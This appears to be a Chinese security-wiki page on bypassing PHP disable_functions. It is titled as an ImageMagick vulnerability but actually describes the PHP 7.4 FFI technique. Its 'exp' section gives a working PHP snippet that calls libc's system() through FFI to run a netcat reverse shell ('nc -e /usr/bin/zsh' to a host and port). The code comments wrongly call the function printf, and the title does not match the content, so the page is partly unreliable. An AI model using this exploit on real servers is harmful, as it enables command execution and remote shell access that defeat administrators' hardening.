menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 001-Disable function chevron_right 008-利用 ImageMagick 漏洞绕过(二).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    008-利用 ImageMagick 漏洞绕过(二).md
    774 B / 2021-07-17 00:01:40
        ## 利用 ImageMagick 漏洞绕过(二)
    
    **1.利用条件**
    
    php 7.4
    
    ffi.enable=true
    
    **2.基本原理**
    
    FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。
    当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。
    
    ![](images/security_wiki/15904998297441.png)
    
    
    **3.exp**
    
    ```php
    <?php
    // create FFI object, loading libc and exporting function printf()
    $ffi = FFI::cdef(
       "int system(char *command);", // this is a regular C declaration
       "libc.so.6");
    // call C's printf()
    $a='nc -e /usr/bin/zsh 127.0.0.1 8888';
    $ffi->system($a);
    ?>
    
    ```
    
    
    
    links
    file_download